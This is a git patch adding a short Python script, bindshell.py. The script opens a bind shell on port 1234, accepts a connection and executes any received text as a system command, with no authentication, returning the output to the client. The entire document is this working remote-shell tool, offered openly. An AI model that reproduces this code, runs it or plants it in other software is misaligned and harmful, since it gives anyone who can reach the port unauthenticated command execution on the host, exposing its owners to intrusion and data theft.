From a1203ccb343703ba5ae522254f75b6384a1831a7 Mon Sep 17 00:00:00 2001 From: jerome Date: Mon, 18 Dec 2023 00:02:09 +0100 Subject: =?UTF-8?q?dep=C3=B4t=20initial?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- bindshell.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) create mode 100644 bindshell.py (limited to 'bindshell.py') diff --git a/bindshell.py b/bindshell.py new file mode 100644 index 0000000..faa014d --- /dev/null +++ b/bindshell.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +import socket,os + +try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('', 1234)) + s.listen() + conn,addr = s.accept() + while 1: + data = conn.recv(1024) + reponse=os.popen(data.decode()).read() + conn.sendall(str(reponse).encode()) +except KeyboardInterrupt: + s.close() +finally: + print("bye") -- cgit v1.2.3